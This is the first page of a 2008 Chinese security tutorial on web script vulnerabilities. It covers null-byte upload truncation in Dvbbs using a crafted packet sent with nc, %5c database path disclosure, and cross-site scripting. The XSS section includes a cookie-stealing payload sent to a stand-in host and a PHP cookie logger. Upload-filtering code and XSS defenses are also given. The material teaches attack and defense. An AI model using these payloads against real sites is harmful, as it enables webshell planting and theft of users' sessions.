安全中国首页 > 文章中心 > 综合注入文章
 
安全中国网友投稿专用上传FTP空间:
Ftp服务器:www.anqn.com
Ftp端口:21
用户名:anqn
密 码:anqn.com
 

网站中SQL注入脚本漏洞的挖掘与防护

更新时间:2008-4-1 0:35:20
责任编辑:池天
热 点:

在脚本漏洞中,除了sql注入漏洞外还存在很多脚本漏洞,如上传漏洞、暴库漏洞、跨站漏洞、权限提升漏洞,cookies欺骗漏洞等。

上传漏洞:程序代码对上传过滤不严造成可以上传扩展名为aspphp的脚本文件,恶意用户就利用这个漏洞上传aspphp木马直接危急网站及服务器。从2004年国内上传漏洞暴出导致一大片站点被黑,我们看一看原始的动网上传漏洞的原因。

在动网的upfile.asp文件中有这么一句代码:

filename=formPath&year(now)&month(now)&day(now)&hour (now)&minute(now)&second(now)&ranNum&"."&fileExt,其中变量filename是要保存上传头像的文件名, fileExt是要保存文件的后缀。下面我们来看看判断后缀的依据从何而来。

reg_upload.asp中部分代码如下:

<form name="form" method="post" action="upfile.asp" enctype="multipart/form-data" >

<input type="hidden" name="filepath" value="uploadFace">

<input type="hidden" name="act" value="upload">

<input type="file" name="file1">

<input type="hidden" name="fname">

<input type="submit" name="Submit" value="上传" onclick="fname.value=file1.value,parent.document.forms[0].Submit.disabled=true,

parent.document.forms[0].Submit2.disabled=true;">

</form>

我们可以看到upfile.asp程序是提取file1表单和fname表单中的值来做文件后缀判断的,

file1fname的值来源于客户端,这给我们欺骗服务端的程序提供了可能。这里直接从页面上递交我们的ASP文件是行不通的。但是,如果我们自己构造数据包就可以绕过服务端文件类型的检测了。而在这句

filename=formPath&year(now)&month(now)&day(now)&hour(now)&minute(now)&second(now)&ranNum&"."&fileExt,代码中我们发现,只要让frompath变量做为一个已经结束的字符串,那么后面的那些改变上传文件名的函数就都不起作用了。在计算机中检测字符串是否结束是通过检测'/0'来实现的,只要发现了'/0'就认为结束;也就是说我们在构造上传文件保存路径时,只要欺骗计算机,让他认为类似 "uploadface/mm.asp"这样的路径参数已经结束了,从而达到直接将文件保存为我们定义的文件名的目的。(其实upfile.asp判断你上传的头像是否为asp后缀并不重要的,漏洞的关键就是一个formPath变量没有过滤及截断的问题。只要我们设定formPath的变量为“uploadface/xx.asp”这样的值,再在这个值后加个00截断字符就可以了。上传的asp后缀没有变化,只是因为我们把formPath的变量指定为了uploadface/xx.asp这种格式。file1forame表单值只是判断我们上传的文件是否合法的jpggif后缀而已,而上传asp文件的后缀指定不是因为这两个。

黑客的攻击手法就是通过注册后上传asp木马(当然失败),在上传的同时进行抓包,将抓的包保存在记事本中,修改包中的asp扩展名为gif欺骗服务器,再修改包里增加文件的长度,再修正空格为’/0’,然后用nc –vv 网站  80  <修改的文本.txt提交数据到服务器就成功上传了一个脚本木马。当然后来网上写成了软件提高了率效,如老兵上传利工具等。对于上传漏洞的防范,我们可以直接通过上传组件进行防范,如下:

这里以ASPUPLOAD组件上传为例

以下是3个关键函数:

function killext(byval s1) '去掉非法文件后缀

dim allowext

allowext=".JPG,.JPEG,.GIF,.BMP,.PNG,.SWF,.RM,.MP3,.WAV,.MID,.MIDI,.R,.

AVI,.MPG,.MPEG,.ASF,.ASX,.WMA,.MOV,.RAR,.ZIP,.EXE,.DOC,.XLS,.CHM,.HLP,.PDF"

s1=ucase(s1)

if len(s1)=0 then

  killext=""

else

  if not chk(allowext,s1,",") then

   killext=".shit"

  else

   killext=s1

  end if

end if

end function

 

function chk(byval s1,byval s2,byval fuhao) '检查字符串包含

dim i,a

chk=false

a=split(s1,fuhao)

for i = 0 to ubound(a)

  if trim(a(i))=trim(s2) then

   chk=true

   exit for

  end if

next

end function

 

function gname(byval n1) '以日期自动产生目录和文件名,参数1生成目录,参数2生成文件名(无后缀)

dim t,r

t=now()

randomize(timer)

r=int((rnd+1-1)*9999)

select case n1

case 1

gname=year(t)&right("00"&month(t),2)&right("00"&day(t),2)

case 2

gname=right("00"&hour(t),2)&right("00"&minute(t),2)&right("00"&second(t),2)&right

("0000"&r,4)

end select

end function

调用方法:

dim oup,ofile,ext,myfile

Set oup = Server.CreateObject("Persits.Upload")

oup.SetMaxSize 10000000, True

call oup.Save()  '这里是上传到服务器内存,并没有实际文件产生

set ofile = oup.files(1)

ext=killext(ofile.ext)

myfile="/" & ganme(1) & "/" & gname(2) & ext

call ofile.saveas(server.mappath(myfile))

当然php程序也有部分存在上传漏洞,如DISCUZ2.0论坛等。

下面我们来看一下暴库:

我们知道一个网站的数据都存放在数据库里,包括管理员的用户名和密码,当我们取得后可以直接在网站的后台登录,然后通过欺骗上传或备分数据库上传的方法上传一个asp木马。常见的暴库方法用conn.asp方法和%5c方法,通常要在ie选项的高级设置中去掉“显示友好http错误”选项的勾。

Conn.asp暴库方法:大多网站都采用conn.asp作为网站的数据库连接文件,通常黑客们采用直接访问conn.asp使服务器产生错误暴出路径,但这种漏洞已很少存在。%5c是一个精典的暴库方法,通常把网站有数据库连接的网址(通常是二级目录下)的最后一个“/”改为“%5c,即可暴出数据库。原理就是%5c16进制中的“\,ie通常遇到“%5c”是不会转换的,当iis遇到%5c,即认为是“\”时,iis就以为遇到了一个虚拟目录便停止解析,而暴出数据库的路径。

对暴库的防范,首先在conn.asp中加入容错语句,对于上传上去的数据库要进行加密,数据库中的密码也要采取md5加密,在数据库名中加入#号,将数据库后缀改为asp等。

跨站漏洞:

漏洞成因:是因为CGI程序没有对用户提交的变量中的HTML代码进行过滤或转换。主要危害有:获取其他用户Cookie中的敏感数据和挂马

例如:

1 进入首页http://localhost

2 输入用户名“<h1>”,提交,发现服务器返回信息中包含了用户提交的“<h1>”。

3 分析抓包数据,得到实际请求:

http://localhost/test/login/login.pl?username=<h1>&passwd=&ok.x=28&ok.y=6

4 构造一个提交,目标是能够显示用户Cookie信息:
http://localhost/test//login/login.pl?username=<script>alert(document.cookie)</ script>&passwd=&ok.x=28&ok.y=6
5
如果上面的请求获得预期的效果,那么我们就可以尝试下面的请求:
http://localhost/test/login/login.pl?username=<script>window.open("http://www.xxx.com/ info.php?"%2Bdocument.cookie)</script>&passwd=&ok.x=28&ok.y=6
其中http://www.xxx.com/info.php是你能够控制的某台主机上的一个脚本,功能是获取查询字符串的信

息,内容如下:
<?php
$info = getenv("QUERY_STRING");
if ($info) {
$fp = fopen("info.txt","a");
fwrite($fp,$info."\n");
fclose($fp);
}
header("Location: http://localhostt");
注:“%2B”“+”URL编码,并且这里只能用“%2B”,因为“+”将被作为空格处理。后面的header 句则纯粹是为了增加隐蔽性。

当然跨站还有多种攻击形式,如诱使网站管理员查看图片建立管理员帐号,跳转窗口到网马地址,利用cookies欺骗登录后台等。

防范方法:

 过滤或转换用户提交数据中的HTML代码

2 限制用户提交数据的长度

3 不要轻易访问别人给你的链接
4
禁止浏览器运行JavaScriptActiveX代码

还有权限提升漏洞,cookies欺骗漏洞等多种脚本漏洞

上一页 1 2 3 

 
相关文章
一日一文章
 
一日一软件
一日一动画